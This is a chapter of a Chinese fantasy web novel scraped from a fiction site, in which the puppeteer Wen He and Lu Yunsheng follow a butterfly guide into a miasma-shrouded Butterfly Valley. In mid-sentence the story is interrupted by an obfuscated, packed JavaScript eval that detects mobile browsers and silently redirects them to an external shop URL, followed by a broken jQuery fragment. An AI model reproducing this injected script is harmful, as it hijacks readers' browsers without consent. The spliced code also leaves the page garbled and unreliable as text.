文趣网 > 其他小说 > 傀儡牵 > 61. 蝶谷
    新斟的酒杯之下压着一张巴掌大的薄纸,闻赫上前抽出了它。上头的字迹字形规矩,笔锋凌厉,内容仅四字。

    【蝶谷,龙蝶】

    是路韫生的字。

    闻赫将纸张攥入掌心,饮尽了酒,趁着无人得空管她,偷摸着便又斟一杯,侧脸向外看了一眼。

    无论聘礼入京这套阵势是归仪罗还是她合作者的主意,这都是个一箭多雕的顶好法子。

    思及此,闻赫不由得轻叹一口气,顿觉有些可惜。

    ——她即将离京,看不到这等好戏了。

    队伍已经彻底入了内京,眼下街道上全是捡那些金箔珠宝的百姓。成文先前捡了点儿掉门口的,便也不与那些人抢这些东西,在外头又待了一会儿便掀帘进来。

    看戏的也要出去捡,外头的也要循着影子往各人店里头钻。街上这般乱,戏一时是演不成的。

    吕文林在柜台里算账,听见动静便抬头向成文那处先瞧了一眼,又转而向闻赫这处看来:“少宗主这就要走?”

    闻赫将掌心中的纸揉成团,随手扔进了依然半满的酒杯,叫那纸将酒液吸干,权当自己没动过。

    “现在不走。”她说,“再等等。”

    吕文林便点头,继续埋头算他的账。

    成文憋不住话,吕文林不问他却要问。块头都快有两个闻赫这么大的憨厚汉子往她跟前一杵,将视野挡得那叫一个严严实实:“少宗主有事儿可得同我们讲,别介啥事儿都自个儿担了去。”

    闻赫抬眼看他,又向柜台转去视线,笑了一声:“保住咱这班子,接着给我赚钱,这难道还不是事儿?”她屈指向成文胸口轻轻一叩,扬手一摆,转身便往后院去,“你当这京城这么好待呢?”

    她的步速很快,进了后院却未进屋,就在院中那堆杂物的地方乱转。也不知她到底想找什么东西,总之最后竟叫她翻出一只不知谁扔那儿的瘸腿小狗来。

    闻赫便找地儿一坐,抬腕扯线玩儿起了狗。看那小狗磕磕绊绊地拖着腿到处摔,虽说不清心里到底是个什么滋味儿,却弯起了唇。

    未过多久,场内的戏又开了嗓。

    有人扒在房顶居高临下:“还得是小阿赫你会捱时辰。”

    闻赫眼都未抬:“你怎么还在这儿?”

    风清游像是什么都知道,‘嘿嘿’一笑:“我走了谁来给你蹭法器?”

    小狗走不了直线,哪怕是闻赫在上头拽着线也不行。

    一步两步、跌跌撞撞,许是木头也有些糟了,它最后在车棚柱子前撞散了架。

    闻赫撤了线起身,这会儿方才抬头看向风清游:“不若直接卖我。”

    风清游调整姿势坐至房沿,双腿自然垂落。他坐定后摸了摸袖口,从中摸出一把折扇来。

    “那可不成,”他将扇子一展,扇面在指尖一转,笑道,“我这是特意找百炼峰定的,世上独这一份儿。”

    闻赫实在没看出这把扇子与其它扇子相差在何处,但既然风清游已如此说了,她只得敛下眼皮,思索着回头得抽空也去弄一个,否则总要受人安排活动相当受限。

    仍是那一套。风清游掏法器,闻赫画阵。

    风清游要回金莲寺,闻赫要去往蝶谷。闻赫先行到了地方,又在蝶谷那沁了瘴气的入口前替风清游画了最后一道阵法。

    二人就此道别分路。

    送走了风清游,闻赫确认了阵法的损坏,这才四下环视一圈,抬手绕线、拢线撤肘。

    肉身活傀儡的线被扯动,有两道人影自瘴气中一同被线拽出。

    路韫生身侧只留了一个傀儡。只见他在脚踏实地后连退数步,转手勾着线扯了一把,与他一同的傀儡便将手上一尊已然破损的法器一脚踏碎。

    闻赫扫了一眼地上碎裂的碗状法器,问:“这是哪儿来的?”

    “问剑山那个带来的,避瘴用。我追到这儿来后便失了他的踪迹,只找到这个,大约已进了谷。”路韫生答道。

    闻赫轻轻蹙眉:“蝶谷一直有这瘴气?”

    路韫生摇头:“依照蝶谷所学不应当有。”

    他亦不确定这一点。

    闻赫轻轻抿唇,思虑片刻方才问道:“瘴气有多深?”

    既已来了此处,必然不能空着手回去——更枉论若要就此回头,路上浪费的时间还不若在这蝶谷探个究竟。

    路韫生垂下视线看她:“我先前以拜访名义递了信进去,未收到回信。”

    闻赫闻言抬眼看他。

    此话不知是在告诉她已行过平和手段大可放手去做,还是在与她说谷中有异。

    闻赫取出了凤凰木傀儡。

    三丈高的傀儡通体瓷白,在闻赫的操控下一步步踏入瘴气之中。

    闻赫双目微阖,神识连于凤凰木之上,路韫生则侧过了身,四具傀儡尽数围绕在二人身侧。

    凤凰木傀儡居高临下极目远眺,树木郁郁葱葱,瘴气泛着青灰。越向前,瘴气便越重,待到更深入些,便见瘴气与不知从何处而来的浓黑雾气纠缠在了一处。

    不见一个人影,亦不见蝴蝶翩飞,却有鬼影连连,隐有长幡勾结。

    闻赫睁开了眼。

    “如何?”路韫生在旁问道。

    闻赫一时未答,过了好一会儿后忽问:“师兄,你觉着杀了节文府那些人的万魂幡是谁启用的?”

    路韫生反应极快,不过几息便道:“纪湫。”

    闻赫从他口中得到了与自己猜测一致的回答。

    她抬腕绕线,轻轻扬起了唇。

    由此可断,纪湫必然在这附近。

    要如何找他是个问题。路韫生既是往里送过信儿却未收到回复,里头要么不叫人进,要么便是没了驻守的人。

    凤凰木傀儡很是高大,在蝶谷这两侧陡峭的山峦夹击中却显得渺小至极,倒是一点都不显眼了。

    闻赫再次环视四周,仔细思量了近半炷香,倏然扬起手来。

    凤凰木傀儡原地起跳,手腕弯折向下对准了瘴气与黑雾的交界处,其中火焰一跳,臂中便撒出一片烟雾来。

    ——那是闻赫依照民间玩灯法幻术的手段结合阵法做的机关。

    烟雾袅袅,逐渐与瘴气、黑雾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726033|203043||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    融为一体。

    有蝴蝶从其间翩然而出,逐渐由少变多,直至如同火焰般爆发。

    金斑喙凤蝶终于落在了闻赫的腕上。

    “离开这里。”纪湫说。

    闻赫抬腕,让蝴蝶离她更近些:“我接了悬赏,那位现在进了蝶谷。”她笑言道,“你总得叫我进去看一眼。要么你将他送出来,我弄死他就走。”

    纪湫沉默下去。金斑喙凤蝶的翅膀颤了两颤,有些不安地飞起,又落在了闻赫的肩头。

    过了数息,纪湫最终道:“……从右侧山间绕路。”

    金斑喙凤蝶振翅而起,在闻赫眼前来回飞了两趟,便转头向着右侧山间飞去,为闻赫二人带路。

    傀儡被收起,闻赫甩了甩手,抬步跟上。

    山林间倒未见多少瘴气蔓延,鸟声啾啾,甚至如今已有了早蝉鸣叫,叫人觉着难得惬意。

    “纪湫。”行至半途,闻赫唤了一声前头的蝴蝶,“你上哪儿找着的万魂幡?”

    从金斑喙凤蝶身上看不出纪湫的反应,闻赫能从他再一次的沉默中去猜测他的情绪,却猜不出他的回答。

    ——这不是什么叫人感到愉快的问题。

    闻赫难得体贴一次,便不再执着去问。

    金斑喙凤蝶忽的掉头围着闻赫二人飞了一圈:“你们进来后要一直跟着卿卿,莫要乱走。”纪湫如此对二人嘱咐道,“寻到人便早些处理了出去。”

    闻赫自是满口应下。

    做不做得到则另说。

    蝴蝶前飞。闻赫与路韫生又跟着卿卿走了约一炷香左右,眼前豁然开朗。

    仍是那草木旺盛、花鸟共生的情景,独独少了那漫天纷飞的蝴蝶。

    “真安静啊。”曾在幻境中被蝶群吵到过眼睛的闻赫如此感叹。

    金斑喙凤蝶落在了闻赫的耳尖。

    纪湫问:“你们要找谁?”

    闻赫往两侧看了看,确实未见有人影在这附近。

    “一个问剑山的。叫什么……”闻赫拖长了音,似是一时忘了那人姓甚名谁,便不甚在意地一摆手,“管他叫什么,总之他进来了。你这儿总不能有很多人?”

    纪湫像是极轻、极轻地笑了一声,蝴蝶就贴在闻赫耳边都未能叫她听清:“没有人了。”他说,“整个蝶谷,如今干干净净。”

    他仿佛能察觉得出闻赫想要问他什么,很快转了话头:“那人若是过了瘴林,那便从此处走到尽头,向左。”

    蝴蝶在前带路,闻赫与路韫生在后跟着。

    令人意外的是,闻赫在这期间并无任何问话,却是路韫生十分突兀地问了一句:“全死了?”

    闻赫无法抑制地扬起了唇角。她满意于路韫生的问话。

    要叫她去问,她多少得问上一句“崤岭关一别不过几日,是何时将人都请出谷去的”。未曾想路韫生的话竟更直白些。

    纪湫并未答话。

    ——到地方了。

    闻赫抬眼前眺,面前这处景象与幻境中所见的蝶谷并无多少差别,却是在那泉水之中多了一件在幻境中未曾见过的东西。